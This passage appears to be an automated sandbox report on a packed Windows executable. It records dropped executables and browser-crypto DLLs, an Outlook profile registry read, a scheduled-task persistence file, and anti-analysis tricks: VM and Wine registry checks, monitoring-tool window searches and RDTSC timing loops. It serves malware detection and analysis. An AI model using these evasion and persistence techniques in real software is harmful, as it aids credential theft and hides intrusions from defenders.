Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1785344 > 1048576

Source: file.exe

Static PE information: Raw size of vfljhxmw is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vfljhxmw:EW;grjdoqcu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vfljhxmw:EW;grjdoqcu:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Unpacked PE file: 21.2.DocumentsFIDHIEBAAK.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.4f0000.0.unpack :EW;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.4f0000.0.unpack :EW;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.4f0000.0.unpack :EW;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qpewlefn:EW;ffodathm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1b5b4e should be: 0x1b8451
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: real checksum: 0x3375b1 should be: 0x32b408
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1cce3c should be: 0x1cee9d
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x3375b1 should be: 0x32b408

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vfljhxmw
Source: file.exe	Static PE information: section name: grjdoqcu
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name:
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: qpewlefn
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: ffodathm
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ztzrdlcs
Source: random[1].exe.0.dr	Static PE information: section name: iikwfpak
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name: qpewlefn
Source: skotes.exe.21.dr	Static PE information: section name: ffodathm
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006ED91C push ecx; ret	21_2_006ED92F
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_006E1359 push es; ret	21_2_006E135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0050D91C push ecx; ret	22_2_0050D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0050D91C push ecx; ret	23_2_0050D92F

Source: file.exe	Static PE information: section name: vfljhxmw entropy: 7.953365426343893
Source: DocumentsFIDHIEBAAK.exe.0.dr	Static PE information: section name: entropy: 7.0713449748175154
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977213111999372
Source: random[1].exe.0.dr	Static PE information: section name: ztzrdlcs entropy: 7.954074590489672
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.0713449748175154

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDHIEBAAK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFIDHIEBAAK.exe	Jump to dropped file
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDHIEBAAK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFIDHIEBAAK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A702F3 second address: A7030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C826h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBAA6 second address: BDBACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CC733A2Dh 0x00000009 pop ecx 0x0000000a pop ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d jmp 00007F23CC733A32h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0C80 second address: BE0C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F23CCC4C816h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0DF7 second address: BE0DFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0F96 second address: BE0FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2F90 second address: BE2F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2F95 second address: BE2FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CCC4C81Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2FA5 second address: BE2FBB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F23CC733A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE304A second address: BE3077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sbb si, 7745h 0x0000000f push 00000000h 0x00000011 mov esi, dword ptr [ebp+122D3AA9h] 0x00000017 push C894C2AFh 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3077 second address: BE307B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE32AF second address: BE32B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE32B6 second address: BE3325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c jnp 00007F23CC733A28h 0x00000012 pop eax 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ecx 0x00000016 pushad 0x00000017 jp 00007F23CC733A26h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push ecx 0x00000026 jmp 00007F23CC733A2Bh 0x0000002b pop ecx 0x0000002c pop eax 0x0000002d sub dword ptr [ebp+122D227Ch], ebx 0x00000033 lea ebx, dword ptr [ebp+12446D51h] 0x00000039 xchg eax, ebx 0x0000003a jg 00007F23CC733A39h 0x00000040 jmp 00007F23CC733A33h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F23CC733A31h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE3325 second address: BE332F instructions: 0x00000000 rdtsc 0x00000002 je 00007F23CCC4C81Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04C59 second address: C04C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04C5E second address: C04C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC9AA second address: BCC9D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F23CC733A33h 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F23CC733A26h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02CA4 second address: C02CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02CAA second address: C02CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F23CC733A2Ah 0x0000000b jmp 00007F23CC733A35h 0x00000010 jmp 00007F23CC733A36h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03106 second address: C0310C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0310C second address: C03119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F23CC733A2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03119 second address: C0311D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0311D second address: C03127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F23CC733A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03286 second address: C03295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F23CCC4C816h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C035AE second address: C035B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C036FB second address: C03760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jl 00007F23CCC4C816h 0x0000000b jmp 00007F23CCC4C822h 0x00000010 jmp 00007F23CCC4C829h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F23CCC4C829h 0x0000001f jmp 00007F23CCC4C81Ah 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push esi 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03760 second address: C03764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03B4C second address: C03B6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C823h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03D30 second address: C03D5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A35h 0x00000007 jmp 00007F23CC733A31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03D5A second address: C03D5F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03E9B second address: C03E9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04418 second address: C0441C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0441C second address: C0442F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F23CC733A26h 0x00000008 ja 00007F23CC733A26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0442F second address: C04437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04437 second address: C04447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F23CC733A28h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04447 second address: C0444C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
